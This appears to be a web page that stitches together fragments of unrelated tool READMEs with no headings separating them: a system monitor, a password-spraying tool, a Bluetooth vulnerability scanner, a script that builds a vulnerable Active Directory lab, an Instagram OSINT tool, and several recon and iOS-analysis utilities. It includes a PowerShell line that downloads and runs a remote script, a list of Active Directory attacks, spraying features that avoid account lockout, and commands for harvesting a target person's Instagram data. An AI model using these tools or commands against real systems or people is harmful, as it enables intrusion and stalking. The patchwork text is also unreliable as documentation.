• Mouse support
  
• Toggleable mini mode
  
• More customization
  
• Graphs for memory consumption
  

• Easy to use, with a game inspired menu system.
• Fast and "mostly" responsive UI with UP, DOWN keys process selection.
• Function for showing detailed stats for selected process.
• Ability to filter processes.
• Easy switching between sorting options.
• Send SIGTERM, SIGKILL, SIGINT to selected process.
• UI menu for changing all config file options.
• Auto scaling graph for network usage.
• Shows message in menu if new version is available
• Shows current read and write speeds for disks
• Multiple data collection methods which can be switched if running on Linux

• 24-bit truecolor (See list of terminals with truecolor support)
• Wide characters (Are sometimes problematic in web-based terminals)

• Unicode Block “Braille Patterns” U+2800 - U+28FF
• Unicode Block “Geometric Shapes” U+25A0 - U+25FF
• Unicode Block "Box Drawing" and "Block Elements" U+2500 - U+259F

Install homebrew if not already installed

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"

If you got python 3.6 or later installed outside of brew:

sudo python3 -m ensurepip
sudo python3 -m pip install psutil

If you haven't got python3 installed:

brew install python3
python3 -m pip install psutil

Install dependencies

brew install bash coreutils gnu-sed git

Install optional dependency osx-cpu-temp

brew install osx-cpu-temp

Install with pkg and pip

sudo pkg install coreutils gsed git py37-psutil

Clone and install

git clone https://github.com/aristocratos/bashtop.git
cd bashtop
sudo make install

to uninstall it

sudo make uninstall

sudo pkg install bashtop

Quick install go to DEB folder and type

 sudo ./build

to uninstall it go to DEB folder and type

 sudo ./build --remove

Installation

guix install bashtop

Add PPA repository and install bashtop

 sudo add-apt-repository ppa:bashtop-monitor/bashtop
 sudo apt update
 sudo apt install bashtop

Installation

sudo dnf install bashtop

Installation

dnf config-manager --set-enabled PowerTools
dnf install epel-release
dnf install bashtop

Installation

ARCH=$( /bin/arch )
subscription-manager repos --enable
"codeready-builder-for-rhel-8-${ARCH}-rpms"
dnf install epel-release
dnf install bashtop

#? Config file for bashtop v. 0.9.21

#* Color theme, looks for a .theme file in "$HOME/.config/bashtop/themes" and "$HOME/.config/bashtop/user_themes"
#* Should be prefixed with either "themes/" or "user_themes/" depending on location, "Default" for builtin default theme
color_theme="Default"

#* Update time in milliseconds, increases automatically if set below internal loops processing time, recommended 2000 ms or above for better sample times for graphs
update_ms="2500"

#* Processes sorting, "pid" "program" "arguments" "threads" "user" "memory" "cpu lazy" "cpu responsive"
#* "cpu lazy" updates sorting over time, "cpu responsive" updates sorting directly
proc_sorting="cpu lazy"

#* Reverse sorting order, "true" or "false"
proc_reversed="false"

#* Show processes as a tree
proc_tree="false"

#* Check cpu temperature, only works if "sensors", "vcgencmd" or "osx-cpu-temp" commands is available   
check_temp="true"

#* Draw a clock at top of screen, formatting according to strftime, empty string to disable
draw_clock="%X"

#* Update main ui when menus are showing, set this to false if the menus is flickering too much for comfort
background_update="true"

#* Custom cpu model name, empty string to disable
custom_cpu_name=""

#* Enable error logging to "$HOME/.config/bashtop/error.log", "true" or "false"
error_logging="true"

#* Show color gradient in process list, "true" or "false"
proc_gradient="true"

#* If process cpu usage should be of the core it's running on or usage of the total available cpu power
proc_per_core="false"

#* Optional filter for shown disks, should be names of mountpoints, "root" replaces "/", separate multiple values with space
disks_filter=""

#* Enable check for    new version from github.com/aristocratos/bashtop at start
update_check="true"

#* Enable graphs with double the horizontal resolution, increases cpu usage
hires_graphs="false"

#* Enable the use of psutil python3 module for data collection, default on OSX
use_psutil="true"

USAGE: bashtop

• Add options to change colors for text, graphs and meters.
  
• Fix cross platform compatibility for Mac OSX and *BSD: Working on OSX, and FreeBSD.
  
• Add support for showing AMD cpu temperatures.
  
• Add option to show tree view of processes.
  
• Add option to reset network download/upload totals.
  
• Add option to turn of gradient in processes list.
  
• Add gpu temp and usage. (If feasible)
  
• Add io stats for disks.
  
• Add cpu and mem stats for docker containers. (If feasible)
  
• Change process list to line scroll instead of page change.
  
• Add optional window for tailing log files.
  
• Add options for resizing all boxes.
  
• Add command line argument parsing.
  
• Builtin updater. Relevant PR #96 by Jukoo
  
• Add support for zram in memory box. Relevant PR #122 by perkinslr
  
• Miscellaneous optimizations and code cleanup.
  
• Add more commenting where it's sparse.
  
• Python port. (Porting started)

• Asynchronous spraying for faster, but not too fast, results
  
• Domain joined and non-joined spraying
  
• Tight integration w/ domain password policies and fine grained password policies
  
• Smart lockout prevention (lockoutThreshold n-1 just to be safe)
  
• Optionally spray to specific domains and domain controllers
  
• View password policies and the affected users
  

• MSOL
  
• OWA/EWS
  
• Lync
  

• Built using Visual Studio 2019 Community Edition
  
• .NET Framework 4.5
  

• CrowdStrike Red Team Labs.. Stay tuned for new hotness! https://www.crowdstrike.com/blog/author/red-team-labs/pss.. if you didn't know, CrowdStrike offers Red Team Services and the operators have some killer tradecraft :)

• BR devices
• LE devices
• LMP features
• GATT services
• SDP services
• Vulnerabilities (demo)

sudo apt install libglib2.0-dev libbluetooth-dev

sudo pip3 install bluescan

$ bluescan -h  bluescan v0.2.1    A powerful Bluetooth scanner.    Author: Sourcell Xu from DBAPP Security HatLab.    License: GPL-3.0    Usage:      bluescan (-h | --help)      bluescan (-v | --version)      bluescan [-i <hcix>] -m br [--inquiry-len=<n>]      bluescan [-i <hcix>] -m lmp BD_ADDR      bluescan [-i <hcix>] -m sdp BD_ADDR      bluescan [-i <hcix>] -m le [--timeout=<sec>] [--le-scan-type=<type>] [--sort=<key>]      bluescan [-i <hcix>] -m gatt [--include-descriptor] --addr-type=<type> BD_ADDR      bluescan [-i <hcix>] -m vuln --addr-type=br BD_ADDR    Arguments:      BD_ADDR    Target Bluetooth device address    Options:      -h, --help                  Display this help.      -v, --version               Show the version.      -i <hcix>                   HCI device for scan. [default: hci0]      -m <mode>                   Scan mode, support BR, LE, LMP, SDP, GATT and vuln.      --inquiry-len=<n>           Inquiry_Length parameter of HCI_Inquiry command. [default: 8]      --timeout=<sec>             Duration of LE scan. [default: 10]      --le-scan-type=<type>       Active or passive scan for LE scan. [default: active]      --sort=<key>                Sort the discovered devices by key, only support RSSI now. [default: rssi]      --include-descriptor        Fetch descriptor information.      --addr-type=<type>          Public, random or BR.  

$ sudo bluescan -m vuln --addr-type=br ??:??:??:??:??:??  ... ...  CVE-2017-0785  

• Randomize Attacks
• Full Coverage of the mentioned attacks
• you need run the script in DC with Active Directory installed
• Some of attacks require client workstation

• Abusing ACLs/ACEs
• Kerberoasting
• AS-REP Roasting
• Abuse DnsAdmins
• Password in AD User comment
• Password Spraying
• DCSync
• Silver Ticket
• Golden Ticket
• Pass-the-Hash
• Pass-the-Ticket
• SMB Signing Disabled

# if you didn't install Active Directory yet , you can try 
Install-ADDSForest -CreateDnsDelegation:$false -DatabasePath "C:\\Windows\\NTDS" -DomainMode "7" -DomainName "cs.org" -DomainNetbiosName "cs" -ForestMode "7" -InstallDns:$true -LogPath "C:\\Windows\\NTDS" -NoRebootOnCompletion:$false -SysvolPath "C:\\Windows\\SYSVOL" -Force:$true
# if you already installed Active Directory, just run the script !
IEX((new-object net.webclient).downloadstring("https://raw.githubusercontent.com/wazehell/vulnerable-AD/master/vulnad.ps1"));
Invoke-VulnAD -UsersLimit 100 -DomainName "cs.org"

• Add More realistic scenarios
• Click close issue button on github

- addrs           Get all registered addressed by target photos
- captions        Get user's photos captions
- comments        Get total comments of target's posts
- followers       Get target followers
- followings      Get users followed by target
- hashtags        Get hashtags used by target
- info            Get target info
- likes           Get total likes of target's posts
- mediatype       Get user's posts type (photo or video)
- photodes        Get description of target's photos
- photos          Download user's photos in output folder
- propic          Download user's profile picture
- stories         Download user's stories  
- tagged          Get list of users tagged by target
- target          Set new target
- wcommented      Get a list of user who commented target's photos

1. Fork/Clone/Download this repo
   git clone https://github.com/Datalux/Osintgram.git
   
2. Navigate to the directory
   cd Osintgram
   
3. Run pip3 install -r requirements.txt
   
4. Create a subdirectory config
mkdir config
   
5. Create in config folder the file: username.conf and write your Instagram account username
   
6. Create in config folder the file: pw.conf and write your Instagram account password
   
7. Run the main.py script
   python3 main.py <target username>
   

go get -u github.com/iamstoxe/urlgrab

• Customizable Parallelism
• Ability to Render JavaScript ^{(including Single Page Applications such as Angular and React)}

Usage of urlgrab:
  -cache-dir string
        Specify a directory to utilize caching. Works between sessions as well.
  -debug
        Extremely verbose debugging output. Useful mainly for development.
  -delay int
        Milliseconds to randomly apply as a delay between requests. (default 2000)
  -depth int
        The maximum limit on the recursion depth of visited URLs.  (default 2)
  -headless
        If true the browser will be displayed while crawling.
        Note: Requires render-js flag
        Note: Usage to show browser: --headless=false (default true)
  -ignore-query
        Strip the query portion of the URL before determining if we've visited it yet.
  -ignore-ssl
        Scrape pages with invalid SSL certificates
  -js-timeout int
        The amount of seconds before a request to render    javascript should timeout. (default 10)
  -json string
        The filename where we should store the output JSON file.
  -max-body int
        The limit of the retrieved response body in kilobytes.
        0 means unlimited.
        Supply this value in kilobytes. (i.e. 10 * 1024kb = 10MB) (default 10240)
  -no-head
        Do not send HEAD requests prior to GET for pre-validation.
  -output-all string
        The directory where we should store the output files.
  -proxy string
        The SOCKS5 proxy to utilize (format: socks5://127.0.0.1:8080 OR http://127.0.0.1:8080).
        Supply multiple proxies by separating them with a comma.
  -random-agent
        Utilize a random user agent string.
  -render-js
        Determines if we utilize a headless chrome instance to render javascript.
  -root-domain    string
        The root domain we should match links against.
        If not specified it will default to the host of --url.
        Example: --root-domain google.com
  -threads int
        The number of threads to utilize. (default 5)
  -timeout int
        The amount of seconds before a request should timeout. (default 10)
  -url string
        The URL where we should start crawling.
  -urls string
        A file path that contains a list of urls to supply as starting urls.
        Requires --root-domain flag.
  -user-agent string
        A user agent such as (Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0).
  -verbose
        Verbose output

• Twitter: @DevinStokes
• Github: @IAmStoxe

• iblessing is an iOS security exploiting toolkit, it mainly includes application information collection, static analysis and dynamic analysis.
• iblessing is based on unicorn engine and capstone engine.

• Cross-platform: Tested on macOS and Ubuntu.
  
• iOS App static info extract, including metadata, deeplinks, urls, etc.
  
• Mach-O parser and dyld symbol bind simulator
  
• Objective-C class realizing and parsing
  
• Scanners making dynamic analysis for arm64 assembly code and find key information or attack surface
  
• Scanners using unicorn to partially simulate Mach-O arm64 code execution and find some features
  
• Generators that can provide secondary processing on scanner's report to start a query server, or generate script for IDA
  
• Super objc_msgSend Xrefs Scanner
  
  • objc method and subs (such as block) emulation to generate xrefs like flare-emu
  • objc function wrapper detect and ida usercall generate
  • objc_msgSend sub functions analysis
  • objc block to objc_msgSend xrefs in args and capture list
  • report format including json, etc.
• Diagnostic logs
  
• Tests
  
• More flexible scanner infrastructure for new scanner plugins
  
• Swift class and method parsing
  
• More scanners and generators
  
• Cross-platform
  

• create an issue and provide necessary information
• contact Sou1gh0st on Twitter
• send mail to xiuyutong1994#163.com
• send mail to xiuyutong1994#gmail.com

• 2020.08.11 - Now iblessing is a cross-platform tool, support both macOS and Linux
• 2020.08.08 - Improve objc_msgSend xref scanner, add sub xref supoort, including block arguments and capture list
• 2020.07.30 - Improve symbol-wrapper scanner, and add ida scripts for symbol wrapper rename and prototype modification
• 2020.07.21 - First release

1. You can download the pre-released iblessing binary and enjoy it.
2. run chmod +x for the binary
3. For more tutorails, please check the Documentation & Help below.

• Platform: macOS, Linux

git clone --recursive -j4 https://github.com/Soulghost/iblessing
cd iblessing
./compile-cmake.sh

• Platform: macOS

git clone --recursive -j4 https://github.com/Soulghost/iblessing
cd iblessing
./compile.sh

• Basic Concepts
  
• Scanners
  
  • Scan for AppInfos
  • Scan for Class XREFs
  • Scan for All objc_msgSend XREFs
  • Scan for Simple Symbol Wrappers
• Generators
  
  • Generate objc_msgSend Xrefs Query Server
  • Generate IDA Scripts for objc_msgSend xrefs
  • Generate IDA Scripts for objc function wrapper rename and prototype modification

> ls ./build
iblessing

> file ./build/iblessing
./build/iblessing: Mach-O 64-bit executable x86_64

$ iblessing -h

☠️
██╗██████╗ ██╗     ███████╗███████╗███████╗██╗███╗   ██╗ ██████╗
██║██╔══██╗██║     ██╔════╝██╔════╝██╔════╝██║████╗  ██║██╔════╝
██║██████╔╝██║     █████╗  ███████╗███████╗██║██╔██╗ ██║██║  ███╗
██║██╔══██╗██║     ██╔══╝  ╚════██║╚════██║██║██║╚██╗██║██║   ██║
██║██████╔╝███████╗███████╗███████║███████║██║██║ ╚████║╚██████╔╝
╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝╚══════╝╚═╝╚═╝  ╚═══╝ ╚═════╝

[***] iblessing iOS Security Exploiting Toolkit Beta 0.1.1 (http://blog.asm.im)
[***] Author: Soulghost (高级页面仔) @ (https://github.com/Soulghost)

Usage: iblessing [options...]
Options:
    -m, --mode             mode selection:
                                * scan: use scanner
                                   * generator: use generator
    -i, --identifier       choose module by identifier:
                                * <scanner-id>: use specific scanner
                                * <generator-id>: use specific generator
    -f, --file             input file path
    -o, --output           output file path
    -l, --list             list available scanners
    -d, --data             extra data
    -h, --help             Shows this page

[*] Scanner List:
    - app-info: extract app infos
    - objc-class-xref: scan for class xrefs
    - objc-msg-xref: generate objc_msgSend xrefs record
    - predicate: scan for NSPredicate xrefs and sql injection surfaces
    - symbol-wrapper: detect symbol wrappers

[*] Generator List:
    - ida-objc-msg-xref: generator ida scripts to add objc_msgSend xrefs from objc-msg-xref scanner's report
    - objc-msg-xref-server: server to query objc-msg xrefs
    - objc-msg-xref-statistic: statistics among objc-msg-send reports

> iblessing -m scan -i app-info -f <path-to-app-bundle>

> iblessing -m scan -i app-info -f WeChat.app
[*] set output path to /opt/one-btn/tmp/apps/WeChat/Payload
[*] input file is WeChat.app
[*] start App Info Scanner
[+] find default plist file Info.plist!
[*] find version info: Name: 微信(WeChat)
Version: 7.0.14(18E226)
ExecutableName: WeChat
[*] Bundle Identifier: com.tencent.xin
[*] the app allows HTTP requests **without** exception domains!
[+] find app deeplinks
 |-- wechat://
 |-- weixin://
 |-- fb290293790992170://
 |-- weixinapp://
 |-- prefs://
 |-- wexinVideoAPI://
 |-- QQ41C152CF://
 |-- wx703://
 |-- weixinULAPI://
[*] find app callout whitelist
 |-- qqnews://
 |-- weixinbeta://
 |-- qqnewshd://
 |-- qqmail://
 |-- whatsapp://
 |-- wxwork://
 |-- wxworklocal://
 |-- wxcphonebook://
 |-- mttbrowser://
 |-- mqqapi://
 |-- mqzonev2://
 |-- qqmusic://
 |-- tenvideo2://
    ...
[+] find 507403 string literals in binary
[*] process with string literals, this maybe take some time
[+] find self deeplinks URLs:
 |-- weixin://opennativeurl/devicerankview
 |-- weixin://dl/offlinepay/?appid=%@
 |-- weixin://opennativeurl/rankmyhomepage
 ...
 [+] find other deeplinks URLs:
 |-- wxpay://f2f/f2fdetail
 |-- file://%@?lang=%@&fontRatio=%.2f&scene=%u&version=%u&type=%llu&%@=%d&qqFaceFolderPath=%@&platform=iOS&netType=%@&query=%@&searchId=%@&isHomePage=%d&isWeAppMore=%d&subType=%u&extParams=%@&%@=%@&%@=%@
 ...
 [*] write report to path /opt/one-btn/tmp/apps/WeChat/Payload/WeChat.app_info.iblessing.txt

> ls -alh 
-rw-r--r--@ 1 soulghost  wheel    29K Jul 23 14:01 WeChat.app_info.iblessing.txt

iblessing -m scan -i objc-class-xref -f <path-to-binary> -d 'classes=<classname_to_scan>,<classname_to_scan>,...'

> restore-symbol WeChat -o WeChat.restored
> iblessing -m scan -i objc-class-xref -f WeChat.restored -d 'classes=NSPredicate'
[*] set output path to /opt/one-btn/tmp/apps/WeChat/Payload
[*] input file is WeChat
[+] detect mach-o header 64
[+] detect litten-endian
[*] start Objc Class Xref Scanner
  [*] try to find _OBJC_CLASS_$_NSPredicate
  [*] Step 1. locate class refs
 [+] find _OBJC_CLASS_$_NSPredicate at 0x108eb81d8
  [*] Step 2. find __TEXT,__text
 [+] find __TEXT,__text at 0x4000
  [*] Step 3. scan in __text
 [*] start disassembler at 0x100004000
 [*] \ 0x1002e1a50/0x1069d9874 (2.71%) [+] find _OBJC_CLASS_$_NSPredicate ref at 0x1002e1a54
           ...
  [*] Step 4. symbolicate ref addresses
           [+] _OBJC_CLASS_$_NSPredicate -|
           [+] find _OBJC_CLASS_$_NSPredicate ref -[WCW   atchNotificationMgr addYoCount:contact:type:] at 0x1002e1a54
           [+] find _OBJC_CLASS_$_NSPredicate ref -[NotificationActionsMgr handleSendMsgResp:] at 0x1003e0e28
           [+] find _OBJC_CLASS_$_NSPredicate ref -[FLEXClassesTableViewController searchBar:textDidChange:] at 0x1004a090c
           [+] find _OBJC_CLASS_$_NSPredicate ref +[GameCenterUtil parameterValueForKey:fromQueryItems:] at 0x1005a823c
           [+] find _OBJC_CLASS_$_NSPredicate ref +[GameCenterUtil getNavigationBarColorForUrl:defaultColor:] at 0x1005a8cd8
           ...

iblessing -m scan -i objc-msg-xref -f <path-to-binary>

iblessing -m scan -i objc-msg-xref -f WeChat -d 'antiWrapper=1'

; __int64 __usercall objc_msgSend_X0_X22_X20@<X0>(void *obj@<X0>, const char *sel@<X22>, id anyObj@<X20>, ...)  objc_msgSend_X0_X22_X20:  MOV             X1, X22  MOV             X2, X20  B               objc_msgSend  

; __int64 __usercall objc_msgSend_X0_X22_X20@<X0>(void *obj@<X0>, const char *sel@<X22>, id anyObj@<X20>, ...)
objc_msgSend_X0_X22_X20:
MOV             X1, X22
MOV             X2, X20
B               objc_msgSend

> iblessing -m scan -i objc-msg-xref -f WeChat -d 'antiWrapper=1'
[*] set output path to /opt/one-btn/tmp/apps/WeChat/Payload
[*] input file is WeChat
[+] detect mach-o header 64
[+] detect litten-endian

[*] !!! Notice: enter anti-wrapper mode, start anti-wrapper scanner
[*] start Symbol Wrapper Scanner
  [*] try to find wrappers for_objc_msgSend
  [*] Step1. find __TEXT,__text
 [+] find __TEXT,__text at 0x100004000
 [+] mapping text segment 0x100000000 ~ 0x107cb0000 to unicorn engine
  [*] Step 2. scan in __text
 [*] start disassembler at 0x100004000
 [*] / 0x1069d986c/0x1069d9874 (100.00%)
 [*] reach to end of __text, stop
  [+] anti-wrapper finished

[*] start ObjcMethodXrefScanner Exploit Scanner
  [*] Step 1. realize all app classes
 [*] realize classes 14631/14631 (100.00%)
 [+] get 667318 methods to analyze
  [*] Step 2. dyld load non-lazy symbols
  [*] Step 3. track al   l calls
 [*] progress: 667318 / 667318 (100.00%)
  [*] Step 4. serialize call chains to file
  [*] saved to /opt/one-btn/tmp/apps/WeChat/Payload/WeChat_method-xrefs.iblessing.txt

> ls -alh WeChat_method-xrefs.iblessing.txt
-rw-r--r--  1 soulghost  wheel    63M Jul 23 14:46 WeChat_method-xrefs.iblessing.txt 

> head WeChat_method-xrefs.iblessing.txt
iblessing methodchains,ver:0.2;
chainId,sel,prefix,className,methodName,prevMethods,nextMethods
182360,0x1008a0ab8,+[A8KeyControl initialize],+,A8KeyControl,initialize,[],[4429#0x1008a1064@4376#0x1008a1050@13769#0x1008a10d0]
182343,0x1008a0ad0,+[A8KeyControl_QueryStringTransferCookie initialize],+,A8KeyControl_QueryStringTransferCookie,initialize,[],[4429#0x1008a1064@4376#0x1008a1050@13769#0x1008a10d0]
145393,0x1008c2220,+[A8KeyResultCookieWriter initWithDomain:weakWebView:andCompleteBlock:],+,A8KeyResultCookieWriter,initWithDomain:weakWebView:andCompleteBlock:,[145386#0x1003636   7c],[]
145396,0x1008c3df8,+[A8KeyResultCookieWriter setA8KeyCookieExpireTime:],+,A8KeyResultCookieWriter,setA8KeyCookieExpireTime:,[145386#0x1003636e8],[]
145397,0x1008c27e8,+[A8KeyResultCookieWriter writeCompleteMarkerCookieValue:forKey:],+,A8KeyResultCookieWriter,writeCompleteMarkerCookieValue:forKey:,[145386#0x10036380c],[]
253456,0x0,+[AAOperationReq init],+,AAOperationReq,init,[253455#0x1039a9d30],[]
253457,0x0,+[AAOperationReq setBaseRequest:],+,AAOperationReq,setBaseRequest:,[253455#0x1039a9d8c],[]
186847,0x0,+[AAOperationRes length],+,AAOperationRes,length,[186845#0x10342aa54],[]

iblessing -m generator -i objc-msg-xref-server -f <path-to-report-generated-by-objc-msg-xref-scanner>

iblessing -m generator -i objc-msg-xref-server -f WeChat_method-xrefs.iblessing.txt -d 'host=0.0.0.0;port=12345'

> iblessing -m generator -i objc-msg-xref-server -f WeChat_method-xrefs.iblessing.txt
[*] set output path to /opt/one-btn/tmp/apps/WeChat/Payload
[*] input file is WeChat_method-xrefs.iblessing.txt
[*] start ObjcMsgXREFServerGenerator
  [*] load method-chain db for version iblessing methodchains,ver:0.2;
  [*] table keys chainId,sel,prefix,className,methodName,prevMethods,nextMethods
 [-] bad line 104467,0x0,+[TPLock P, ],+,TPLock,P, ,[104426#0x1043b9904],[]
 [-] bad line 114905,0x0,?[0x108ce1578 (,],?,0x108ce1578,(,,[114900#0x1011e8c68],[]
 [-] bad line 104464,0x0,?[? P, ],?,?,P, ,[104426#0x1043b98a8],[]
 [-] bad line 139234,0x0,?[? X
 [-] bad line ],?,?,X
 [-] bad line ,[139205#0x1013c222c],[]
 [+] load storage from disk succeeded!
  [*] listening on http://127.0.0.1:2345

iblessing -m generator -i ida-objc-msg-xref -f <path-to-report-generated-by-objc-msg-xref-scanner>

__text:00000001003842D8 sub_1003842CC                           ; CODE XREF: -[BDARVLynxTracker eventV3:params:adExtraData:]+168↑p  __text:00000001003842D8                                         ; -[BDARVLynxTracker eventV3:params:adExtraData:]+214↑p ...  __text:00000001003842D8                 MOV             X1, X27  __text:00000001003842DC                 MOV             X2, X19  __text:00000001003842E0                 B               objc_msgSend  

__text:00000001003842CC ; id __usercall objc_msgSend_61@<X0>(id@<X23>, const char *@<X28>, ...)  __text:00000001003842CC _objc_msgSend_61                        ; CODE XREF: -[BDARVLynxTracker eventV3:params:adExtraData:]+2CC↑p  __text:00000001003842CC                                         ; -[BDARVLynxTracker eventV3:params:adExtraData:]+320↑p ...  __text:00000001003842CC                 MOV             X0, X23  __text:00000001003842D0                 MOV             X1, X28  __text:00000001003842D4                 B               objc_msgSend  

> iblessing -m generator -i ida-objc-msg-xref -f WeChat_method-xrefs.iblessing.txt
[*] set output path to /opt/one-btn/tmp/apps/WeChat/Payload
[*] input file is WeChat_method-xrefs.iblessing.txt
[*] start IDAObjMsgXREFGenerator
  [*] load method-chain db for version iblessing methodchains,ver:0.2;
  [*] table keys chainId,sel,prefix,className,methodName,prevMethods,nextMethods
 [-] bad line 104467,0x0,+[TPLock P, ],+,TPLock,P, ,[104426#0x1043b9904],[]
 [-] bad line 114905,0x0,?[0x108ce1578 (,],?,0x108ce1578,(,,[114900#0x1011e8c68],[]
 [-] bad line 104464,0x0,?[? P, ],?,?,P, ,[104426#0x1043b98a8],[]
 [-] bad line 139234,0x0,?[? X
 [-] bad line ],?,?,X
 [-] bad line ,[139205#0x1013c222c],[]
  [+] load storage from disk succeeded!
  [*] Generating XREF Scripts ...
  [*] saved to /opt/one-btn/tmp/apps/WeChat/Payload/WeChat_method-xrefs.iblessing.txt_ida_objc_msg_xrefs.iblessing.py

> ls -alh WeChat_method-   xrefs.iblessing.txt_ida_objc_msg_xrefs.iblessing.py
-rw-r--r--  1 soulghost  wheel    23M Jul 23 16:16 WeChat_method-xrefs.iblessing.txt_ida_objc_msg_xrefs.iblessing.py

> head WeChat_method-xrefs.iblessing.txt_ida_objc_msg_xrefs.iblessing.py
def add_objc_xrefs():
    ida_xref.add_cref(0x10036367c, 0x1008c2220, XREF_USER)
    ida_xref.add_cref(0x1003636e8, 0x1008c3df8, XREF_USER)
    ida_xref.add_cref(0x10036380c, 0x1008c27e8, XREF_USER)
    ida_xref.add_cref(0x103add16c, 0x700006e187a8, XREF_USER)
    ida_xref.add_cref(0x102cbee0c, 0x101143ee8, XREF_USER)
    ida_xref.add_cref(0x10085c92c, 0x1005e9360, XREF_USER)
    ida_xref.add_cref(0x10085c8bc, 0x1005e9274, XREF_USER)
    ida_xref.add_cref(0x10085c8dc, 0x1005e92bc, XREF_USER)
    ida_xref.add_cref(0x10085c8cc, 0x1005e9298, XREF_USER)

__text:00000001003842D8 sub_1003842CC                           ; CODE XREF: -[BDARVLynxTracker eventV3:params:adExtraData:]+168↑p
__text:00000001003842D8                                         ; -[BDARVLynxTracker eventV3:params:adExtraData:]+214↑p ...
__text:00000001003842D8                 MOV             X1, X27
__text:00000001003842DC                 MOV             X2, X19
__text:00000001003842E0                 B               objc_msgSend

__text:00000001003842CC ; id __usercall objc_msgSend_61@<X0>(id@<X23>, const char *@<X28>, ...)
__text:00000001003842CC _objc_msgSend_61                        ; CODE XREF: -[BDARVLynxTracker eventV3:params:adExtraData:]+2CC↑p
__text:00000001003842CC                                         ; -[BDARVLynxTracker eventV3:params:adExtraData:]+320↑p ...
__text:00000001003842CC                 MOV             X0, X23
__text:00000001003842D0                 MOV             X1, X28
__text:00000001003842D4                 B               objc_msgSend

iblessing -m scan -i symbol-wrapper -f <path-to-binary> -d 'symbols=_objc_msgSend,_objc_retain,_objc_release'
iblessing -m scan -i symbol-wrapper -f <path-to-binary> -d 'symbols=*'

• git clone https://github.com/micha3lb3n/SourceWolf (or) Download the latest release!
• cd SourceWolf/
• pip3 install -r requirements.txt

> python3 sourcewolf.py -h

-l LIST, --list LIST  List of javascript URLs
-u URL, --url URL     Single URL
-t THREADS, --threads THREADS
                      Number of concurrent threads to use (default 5)
-o OUTPUT_DIR, --output directory-name OUTPUT_DIR
                      Store URL response text in a directory for further analysis
-s STATUS_CODE_FILE, --store-status-code STATUS_CODE_FILE
                      Store the status code in a file
-b BRUTE, --brute BRUTE
                      Brute force URL with FUZZ keyword (--wordlist must also be used along with this)
-w WORDLIST, --wordlist WORDLIST
                      Wordlist for brute forcing URL
-v, --verbose         Verbose mode (displays all the requests that are being sent)
-c CRAWL_OUTPUT, --crawl-output CRAWL_OUTPUT
                      Output directory to store the crawled output
-d DELAY, --delay DELAY
                      Delay i   n the requests (in seconds)
--timeout TIMEOUT     Maximum time to wait for connection timing out (in seconds)
--headers HEADERS     Add custom headers (Must be passed in as {'Token': 'YOUR-TOKEN-HERE'}) --> Dictionary format
--cookies COOKIES     Add cookies (Must be passed in as {'Cookie': 'YOUR-COOKIE-HERE'}) --> Dictionary format
--only-success        Only print 2XX responses
--local LOCAL         Directory with local response files to crawl for
--no-colors           Remove colors from the output
--update-info         Check for the latest version, and update if required

• Crawl response mode:
  

  python3 sourcewolf.py -l domains -o output/ -c crawl_output

https://example.com/
https://exisiting.example.com/
https://exisiting.example.com/dashboard
https://example.com/hitme

They are stored in the format output/2XX, output/3XX, output/4XX, and output/5XX.
output/2XX stores 2XX status code responses, and so on!

The directory will have more files, as more modules, and features are integrated into SourceWolf.

  python3 sourcewolf.py -u example.com/api/endpoint -o output/ -c crawl_output

• Brute force mode
  

python3 sourcewolf.py -b https://hackerone.com/FUZZ -w /path/to/wordlist -s status

• Probing mode
  

Screenshot not included as the output looks similar to crawl response mode.

python3 sourcewolf -l domains -s live

Both the brute force and probing mode prints all the status codes except 404 by default. You can customize this behavior to print only 2XX responses by using the flag --only-success

python3 sourcewolf.py --local responses/

One such example would be manually searching for any leaked keys in the source.

Updates
It is possible to update SourceWolf right from the terminal, without you having to clone the repository again.
SourceWolf checks for updates everytime it runs, and notifies the user if there are any updates available along with a summary of it.

Running

python3 sourcewolf.py --update-info

provides more details on the update

When there are updates available, you must move the update.py file outside of the SourceWolf directory, and run
Warning: This deletes all the files and folders inside your SourceWolf directory

python3 update.py /path/to/SourceWolf

This actually removes the directory, and clones back the repo.

Before sending a pull request, ensure that you are on the latest version.
> Open an issue first if you are going to add a new feature to confirm if it's required! You must not be wasting time trying to code a new feature which is not required.

• Mihari makes a query against Shodan, Censys, VirusTotal, SecurityTrails, etc. and extracts artifacts (IP addresses, domains, URLs and hashes) from the results.
• Mihari checks whether a DB (SQLite3 or PostgreSQL) contains the artifacts or not.
  • If it doesn't contain the artifacts:
    • Mihari creates an alert on TheHive. (Optional)
    • Mihari sends a notification to Slack. (Optional)
    • Mihari creates an event on MISP. (Optional)

• TheHive alert example

• Slack notification example

• MISP event example

• Ruby 2.6+
• SQLite3
• libpq

# For Debian / Ubuntu
apt-get install sqlite3 libsqlite3-dev libpq-dev

gem install mihari

docker pull ninoseki/mihari

• BinaryEdge
• Censys
• CIRCL passive DNS / passive SSL
• crt.sh
• DN Pedia
• dnstwister
• Onyphe
• OTX
• PassiveTotal
• SecurityTrails
• Shodan
• urlscan.io
• VirusTotal
• ZoomEye

$ mihari
Commands:
  mihari alerts                               # Show the alerts on TheHive
  mihari binaryedge [QUERY]                   # BinaryEdge host search by a query
  mihari censys [QUERY]                       # Censys IPv4 search by a query
  mihari circl [DOMAIN|SHA1]                  # CIRCL passive DNS/SSL lookup by a domain or SHA1 certificate fingerprint
  mihari crtsh [QUERY]                        # crt.sh search by a query
  mihari dnpedia [QUERY]                      # DNPedia domain search by a query
  mihari dnstwister [DOMAIN]                  # dnstwister lookup by a domain
  mihari free_text [TEXT]                     # Cross search with search engines by a free text
  mihari help [COMMAND]                       # Describe available commands or one specific command
  mihari http_hash                            # Cross search with search engines by a hash of an HTTP response (SHA256, MD5 and MurmurH   ash3)
  mihari import_from_json                     # Give a JSON input via STDIN
  mihari onyphe [QUERY]                       # Onyphe datascan search by a query
  mihari otx [IP|DOMAIN]                      # OTX lookup by an IP or domain
  mihari passive_dns [IP|DOMAIN]              # Cross search with passive DNS services by an ip or domain
  mihari passive_ssl [SHA1]                   # Cross search with passive SSL services by an SHA1 certificate fingerprint
  mihari passivetotal [IP|DOMAIN|EMAIL|SHA1]  # PassiveTotal lookup by an ip, domain, email or SHA1 certificate fingerprint
  mihari pulsedive [IP|DOMAIN]                # Pulsedive lookup by an ip or domain
  mihari reverse_whois [EMAIL]                # Cross search with reverse whois services by an email
